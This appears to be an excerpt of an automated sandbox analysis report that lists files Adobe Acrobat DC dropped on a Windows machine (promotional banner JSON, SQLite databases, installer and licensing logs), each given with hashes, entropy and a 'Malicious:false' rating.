                                                                                SSDEEP:24:Yv6X18zvEYKKLgEfIcZVSkpsn264rS514ZjBrwloJTmcVIsrSK5V:YvukcYKEgqprtrS5OZjSlwTmAfSKP
                                                                                MD5:D682ED61D3A982B81E2BA9DBB147436C
                                                                                SHA1:ED9563A64BB911A79D059FB0CFFF43CC06604793
                                                                                SHA-256:BE9FC030294045E6F1C0DA10B425957D670511895203223BB45915E88DB72CA6
                                                                                SHA-512:14629FBEE2A2274735E9004B5DD0CA27F498996612587649E6F1307186DE24E8435E190A81EA5F80727DE8208809ED77DB72E1AE4080776889013CAFBD1D7F70
                                                                                Malicious:false
                                                                                Preview:{"analyticsData":{"responseGUID":"a5eed5cf-629e-42a5-b2d6-5493f34a0821","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1728603218832,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85531_264848ActionBlock_0","campaignId":85531,"containerId":"1","controlGroupId":"","treatmentId":"ee1a7497-76e7-43c2-bb63-9a0551e11d73","variationId":"264848"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IlRyeSBBY3JvYmF0IFBybyJ9LCJ1aSI6eyJ0aXRsZV9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjE1cHgiLCJmb250X3N0eWxlIjoiMCJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEzcHgiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0b1xucHJlbWl1bSBQREYgYW5kIGUtc2lnbmluZ1xudG9vbHMuIn0sImJhbm5lcl9zdHlsaW5nIjo

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):289
                                                                                Entropy (8bit):5.303354357660526
                                                                                Encrypted:false
                                                                                SSDEEP:6:YEQXJ2HX1QdV4HHVoZcg1vRcR0YGTD+XJ2xoAvJfYdPeUkwRe9:YvXKX1Qa2Zc0vXUJ2OGg8Ukee9
                                                                                MD5:A3CF72A791FC1BE1AB4AAD75DF4A25D2
                                                                                SHA1:AFE5F510DC233A64B2895746A291576C347097E9
                                                                                SHA-256:B92C9A343E0074CA5A9C49BE3058ACDE269442739C1480FECF3CC5986E66CDA4
                                                                                SHA-512:F4EFD64D610FDAE559D4D570BF29D250617D8476866B21F2164BA84B03DC8F5741A28681B732243922B6D62AA9D83022AB48B9D0B5ABC6A72E75262C68FC3954
                                                                                Malicious:false
                                                                                Preview:{"analyticsData":{"responseGUID":"a5eed5cf-629e-42a5-b2d6-5493f34a0821","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1728603218832,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):1395
                                                                                Entropy (8bit):5.779265480485936
                                                                                Encrypted:false
                                                                                SSDEEP:24:Yv6X18zvEY5rLgEGOc93W2JeFmaR7CQzttgBcu141CjrWpHfRzVCV9FJNt:YvukcY5HgDv3W2aYQfgB5OUupHrQ9FJP
                                                                                MD5:2B26336C22288271B1C03CCFD48108DB
                                                                                SHA1:0EDFEA43A54A69AE254FFFF514071CAEC589A95A
                                                                                SHA-256:7B1B5ED59C78A9F646099D32434ADEDE1FE7E0B60292883C827229060F17E9BA
                                                                                SHA-512:D2099ADD5652C80EB1721FE3DE17CA564D0CF5D0647A9CC9616CA83F0F43D4AA55F975CC75DCEC9E0C398AE3116893909CCDF154365F7A7D4B480763F77A6730
                                                                                Malicious:false
                                                                                Preview:{"analyticsData":{"responseGUID":"a5eed5cf-629e-42a5-b2d6-5493f34a0821","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1728603218832,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_RHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"57802_176003ActionBlock_0","campaignId":57802,"containerId":"1","controlGroupId":"","treatmentId":"d0374f2d-08b2-49b9-9500-3392758c9e2e","variationId":"176003"},"containerId":1,"containerLabel":"JSON for Reader DC RHP Banner","content":{"data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJGcmVlIDctRGF5IFRyaWFsIiwiZ29fdXJsIjoiaHR0cHM6Ly9hY3JvYmF0LmFkb2JlLmNvbS9wcm94eS9wcmljaW5nL3VzL2VuL3NpZ24tZnJlZS10cmlhbC5odG1sP3RyYWNraW5naWQ9UEMxUFFMUVQmbXY9aW4tcHJvZHVjdCZtdjI9cmVhZGVyIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTQiLCJmb250X3N0eWxlIjoiMyJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEyIiwiZm9udF9zdHlsZSI6IjMifSwidGl0

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):291
                                                                                Entropy (8bit):5.286878401329849
                                                                                Encrypted:false
                                                                                SSDEEP:6:YEQXJ2HX1QdV4HHVoZcg1vRcR0YGTD+XJ2xoAvJfbPtdPeUkwRe9:YvXKX1Qa2Zc0vXUJ2OGDV8Ukee9
                                                                                MD5:0B07EA7464DB3756B2AFD93375C254B0
                                                                                SHA1:8D49E1B05D2860ABC4FCF3D3717CEB6CEAB21F68
                                                                                SHA-256:FD41F599E0C38BA81F147BF491B47315223E566AE6A1A7B40973A711A7068694
                                                                                SHA-512:6F45B56061FB81580C0CD80EC3ABF279F35395F2A886653B46094265208DB6B8A8E193417868DE61C799E239176BAB098C9A6ED2217A8A5D093024EC3C997232
                                                                                Malicious:false
                                                                                Preview:{"analyticsData":{"responseGUID":"a5eed5cf-629e-42a5-b2d6-5493f34a0821","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1728603218832,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):287
                                                                                Entropy (8bit):5.2918721488722555
                                                                                Encrypted:false
                                                                                SSDEEP:6:YEQXJ2HX1QdV4HHVoZcg1vRcR0YGTD+XJ2xoAvJf21rPeUkwRe9:YvXKX1Qa2Zc0vXUJ2OG+16Ukee9
                                                                                MD5:8786D307AA78BE87253A70402841F752
                                                                                SHA1:4A89CC102EEFF6F0E0756A7E9FE4659CCB8301E6
                                                                                SHA-256:4EDC34E1B2EB71943EFE31E73B81E288DA50A007185C52A9202F2AD695BFA91B
                                                                                SHA-512:245F83DD7EDD7C90744CC356378B558AC74C9736C52FB8E26AD9A3B988BCC84FCBC109D15A6B0C398A7662421810468B5940D89D9EA7E5740F0EED91FAB766C5
                                                                                Malicious:false
                                                                                Preview:{"analyticsData":{"responseGUID":"a5eed5cf-629e-42a5-b2d6-5493f34a0821","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1728603218832,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):1054
                                                                                Entropy (8bit):5.665346511404667
                                                                                Encrypted:false
                                                                                SSDEEP:24:Yv6X18zvEY7amXayLgE6cTg4QSOGtNaqnl0RCmK8czOC/CrfS4:YvukcYLBgSXQSrOAh8cv6m4
                                                                                MD5:A9D44C13CA930C044E6DFBABA1C3CF67
                                                                                SHA1:326BFDB6BCE44CBC4BD5D28EF20AF6A471BDB793
                                                                                SHA-256:B5C7AD5642CFA74C41311281F9F9680F470D726679C94CEAFD492D779E01F6A6
                                                                                SHA-512:E39FB453F116F757B3B9DF5F636592ABD557E7BE4176FE8605F619174F380392E08E686B70933EDE538DEBFA5B8017FF6D05CC0A51EC71F10C9913CE275A38E4
                                                                                Malicious:false
                                                                                Preview:{"analyticsData":{"responseGUID":"a5eed5cf-629e-42a5-b2d6-5493f34a0821","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1728603218832,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"89628_281075ActionBlock_1","campaignId":89628,"containerId":"1","controlGroupId":"","treatmentId":"7fe39695-394c-4706-9b50-651e7499d428","variationId":"281075"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6IlJHUzAzNTEtRU5VLUNoYWxsZW5nZXIyIn0=","dataType":"application\/json","encodingScheme":tru

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):286
                                                                                Entropy (8bit):5.26750982764954
                                                                                Encrypted:false
                                                                                SSDEEP:6:YEQXJ2HX1QdV4HHVoZcg1vRcR0YGTD+XJ2xoAvJfshHHrPeUkwRe9:YvXKX1Qa2Zc0vXUJ2OGUUUkee9
                                                                                MD5:72781CA3955CEBDD23A795646D6F866C
                                                                                SHA1:23AD6B324D0DF0F26964F2073BB47EA882A5FEBD
                                                                                SHA-256:4428CA9FCCE680AC988F355E8070E2D38D12A923DA201781776A610F53DCD586
                                                                                SHA-512:2B2DB01691F02D5C713A5D30F5730E450EB5B4FEAF4A0D0DC371FF1FD19C4871DC5E06A0C7935E2C9432E2E3DA8ACA2781547FCFF624CB11BF93057822EA7BD7
                                                                                Malicious:false
                                                                                Preview:{"analyticsData":{"responseGUID":"a5eed5cf-629e-42a5-b2d6-5493f34a0821","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1728603218832,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):782
                                                                                Entropy (8bit):5.369717601796211
                                                                                Encrypted:false
                                                                                SSDEEP:12:YvXKX1Qa2Zc0vXUJ2OGTq16Ukee1+3CEJ1KXd15kcyKMQo7P70c0WM6ZB/uhWJ:Yv6X18zvEYY168CgEXX5kcIfANh4
                                                                                MD5:BD9CBA51E755E7BE2838857969344889
                                                                                SHA1:BE3883CBB0739B44BAF71D3B760760AE457C0EFF
                                                                                SHA-256:EBE2164520111D266953FCEB08B519832F1E6CE0775D28C407F5BEA9A0462540
                                                                                SHA-512:5D87E3A2A51E8C816BFC09F59AA12CEFB6B7F0F1683AD0174C887EDF8DDCCA1B9E337010906A6D7653ADC95E3EE77DBFE9A44E317BA1DAD44E1DA0022A7B4D5F
                                                                                Malicious:false
                                                                                Preview:{"analyticsData":{"responseGUID":"a5eed5cf-629e-42a5-b2d6-5493f34a0821","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1728603218832,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"Edit_InApp_Aug2020"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"20360_57769ActionBlock_0","campaignId":20360,"containerId":"1","controlGroupId":"","treatmentId":"3c07988a-9c54-409d-9d06-53885c9f21ec","variationId":"57769"},"containerId":1,"containerLabel":"JSON for switching in-app test","content":{"data":"eyJ1cHNlbGxleHBlcmltZW50Ijp7InRlc3RpZCI6IjEiLCJjb2hvcnQiOiJicm93c2VyIn19","dataType":"application\/json","encodingScheme":true},"endDTS":1735804679000,"startDTS":1728424898863}}}}

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):4
                                                                                Entropy (8bit):0.8112781244591328
                                                                                Encrypted:false
                                                                                SSDEEP:3:e:e
                                                                                MD5:DC84B0D741E5BEAE8070013ADDCC8C28
                                                                                SHA1:802F4A6A20CBF157AAF6C4E07E4301578D5936A2
                                                                                SHA-256:81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
                                                                                SHA-512:65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
                                                                                Malicious:false
                                                                                Preview:....

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):2818
                                                                                Entropy (8bit):5.125713448470315
                                                                                Encrypted:false
                                                                                SSDEEP:48:YvbzYN1EtRDWZ6gFViXt53APCQtGF5h9oN:uzYN1EWZ6gFVgj3A6QwF5/s
                                                                                MD5:633C1D2C4598DAB52D0EAB4370FC8A8F
                                                                                SHA1:EB81E01E22D27EFF5A656F588B9CD805B3C7C3A6
                                                                                SHA-256:C1104BC64D16F405FA3C5B94029B2AB447BB67FB53F53037BD43F146BC2AC779
                                                                                SHA-512:BADB2680BB177EA97F1065B369188379E64B9FA6B0C676B3D104F4D1D88EA5CAD3A4D3D43861720683E97207BE851182A60AF790764F67918ECBDF1FA83BD3CA
                                                                                Malicious:false
                                                                                Preview:{"all":[{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d4f63d2546798fb02988a56e2e4134a9","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1164,"ts":1728424898000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"748d00e749b396459ab6dc18134b18c8","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1054,"ts":1728424898000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"734c6b5ce576b5480023d138d08f3541","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1091,"ts":1728424898000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"4cd0fb048a34c88e18b0a4ecb223fa81","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":1098,"ts":1728424898000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"25225858581736372b0d594f71d37bd5","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1050,"ts":1728424898000},{"id":"Edit_InApp_Aug2020","info":{"dg":"724f2f62834eacf3a75f1f9f502b0908","sid":"Edit_InApp_Aug2020"},"mimeType":"file","size":782,"ts":17

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
                                                                                Category:dropped
                                                                                Size (bytes):12288
                                                                                Entropy (8bit):1.1889278641262213
                                                                                Encrypted:false
                                                                                SSDEEP:48:TGufl2GL7msEHUUUUUUUUsLVSvR9H9vxFGiDIAEkGVvpILh:lNVmswUUUUUUUUuV+FGSItuh
                                                                                MD5:8A4991C40BD46D6FFF4E03A7FBA646D2
                                                                                SHA1:03DCE7B8365B9E53CC6610B81F726C02268D4373
                                                                                SHA-256:32E9570C1AAF2A8FEA426001B768C21AB39E3E42767BEBC54AA57CF7FBBC0512
                                                                                SHA-512:EDC513A3D1E4D370F1F2B169D86F8D5E6904FA2DFD746CC1CA3D88B792F59561203B735234079E1A0F4B925C7CBD5DBC47A89A94158E8159D83F1D9CCBC85660
                                                                                Malicious:false
                                                                                Preview:SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:SQLite Rollback Journal
                                                                                Category:dropped
                                                                                Size (bytes):8720
                                                                                Entropy (8bit):1.6075185595894426
                                                                                Encrypted:false
                                                                                SSDEEP:48:7MlKUUUUUUUUUUsLNvR9H9vxFGiDIAEkGVvIqFl2GL7msn:73UUUUUUUUUUupFGSItuKVmsn
                                                                                MD5:D53452343A33B7921C007C159A525306
                                                                                SHA1:315DFCC63CF45AAB66AD5C1BB7A73AFDEE108E29
                                                                                SHA-256:2F0BAF0A6ABBF35CA87CE2E5B43DA0D0AFAED2F7EFC18C1FC3D586B1C94509A2
                                                                                SHA-512:3A9F5C413BB8A2463238DE70BDF475EE47AB083D095B1FA34B6788525BF64DBA7B6CF62FE8FC5D8F7A3057BE42D55C11477EFE77E3CC078307441D82C251032D
                                                                                Malicious:false
                                                                                Preview:.... .c.....D.I......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                C:\Users\user\AppData\Local\Temp\MSI6d510.LOG

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                Category:dropped
                                                                                Size (bytes):246
                                                                                Entropy (8bit):3.524398495091119
                                                                                Encrypted:false
                                                                                SSDEEP:6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8ejqFqdKw:Qw946cPbiOxDlbYnuRKWw
                                                                                MD5:3B414BAA19A561D67A5A9B011ED0A79A
                                                                                SHA1:6964A0472A82E7A931BB38B9A3B96138E024150C
                                                                                SHA-256:C335C6865248F856D5F03426DE526B32E2225B32C07B6F1594F78A81DE4DBE0E
                                                                                SHA-512:33F46A1A1A2CD4A375819BC843B170CBEE9A080DF6A3CD190F47DF73D787F9AEA5ED385A633453D39DB379F269A09F8203D89BF4E5F459EAD7418B3EBC6F369E
                                                                                Malicious:false
                                                                                Preview:..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .0.8./.1.0./.2.0.2.4. . .1.8.:.0.1.:.3.9. .=.=.=.....

                                                                                C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9ej2bp4_xe1bdp_1n0.tmp

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
                                                                                Category:dropped
                                                                                Size (bytes):144514
                                                                                Entropy (8bit):7.992637131260696
                                                                                Encrypted:true
                                                                                SSDEEP:3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
                                                                                MD5:BA1716D4FB435DA6C47CE77E3667E6A8
                                                                                SHA1:AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
                                                                                SHA-256:AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
                                                                                SHA-512:65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
                                                                                Malicious:false
                                                                                Preview:PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..|....,.A.....Z..a<.C._..../G|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

                                                                                C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-10-08 18-01-34-027.log

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:ASCII text, with very long lines (393)
                                                                                Category:dropped
                                                                                Size (bytes):16525
                                                                                Entropy (8bit):5.345946398610936
                                                                                Encrypted:false
                                                                                SSDEEP:384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
                                                                                MD5:8947C10F5AB6CFFFAE64BCA79B5A0BE3
                                                                                SHA1:70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
                                                                                SHA-256:4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
                                                                                SHA-512:B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
                                                                                Malicious:false
                                                                                Preview:SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

                                                                                C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:ASCII text, with very long lines (393), with CRLF line terminators
                                                                                Category:dropped
                                                                                Size (bytes):15114
                                                                                Entropy (8bit):5.341031267024176
                                                                                Encrypted:false
                                                                                SSDEEP:384:WO0/w///wswsbskZsPrKrar5rvroehxfxxx/EAE4E9EYEUDEsME/E6dnVdn9dn/B:Wto34XiBZaW+1DcqxrphtobxZMGxb3JB
                                                                                MD5:8F669C0895438D1F062960A99EC5FAB2
                                                                                SHA1:DF18F6C74B9F1B5B5654FBDAAF58DB4D78E2DF3C
                                                                                SHA-256:EBB23AB01AED150ED0123CE50FEEF7E05CB6EBB5862B1C5D9D3A0025925B0658
                                                                                SHA-512:D70DA232A62AA0BE57223DE3DEEC5AA3ED7F1BDAF585CB4A6A29CC992757EF3BC6F0E3983E4D46CE1666CC5C743F9BAB8BE0EFDE8F9C3ABAC249CCF0A7CE5DAA
                                                                                Malicious:false
                                                                                Preview:SessionID=0d4c9db5-c56c-4eef-8ee6-9650a31bdd71.1728424894042 Timestamp=2024-10-08T18:01:34:042-0400 ThreadID=7200 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=0d4c9db5-c56c-4eef-8ee6-9650a31bdd71.1728424894042 Timestamp=2024-10-08T18:01:34:047-0400 ThreadID=7200 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=0d4c9db5-c56c-4eef-8ee6-9650a31bdd71.1728424894042 Timestamp=2024-10-08T18:01:34:047-0400 ThreadID=7200 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=0d4c9db5-c56c-4eef-8ee6-9650a31bdd71.1728424894042 Timestamp=2024-10-08T18:01:34:047-0400 ThreadID=7200 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=0d4c9db5-c56c-4eef-8ee6-9650a31bdd71.1728424894042 Timestamp=2024-10-08T18:01:34:048-0400 ThreadID=7200 Component=ngl-lib_NglAppLib Description="SetConf

                                                                                C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                Category:dropped
                                                                                Size (bytes):29752
                                                                                Entropy (8bit):5.390177631128874
                                                                                Encrypted:false
                                                                                SSDEEP:768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rN:x
                                                                                MD5:D236F049FF5C185AAB211348B14E035E
                                                                                SHA1:452819C1E55A28AEBC9737BF8FAFB9BE3F9112FE
                                                                                SHA-256:C1D8FBD2FF43465E5B41A1EFC8895974B188E5CB56E7C96EDBEFF5B508E25867
                                                                                SHA-512:9FA062EC39A240DB0F76B4E70786E8DB99DD186A238DEA9FD7D461DCC6B525FBBCD21782E1C6772478C5B69EE08A753EE70CA645FA0F6BD203B51A3A81A20C1A
                                                                                Malicious:false
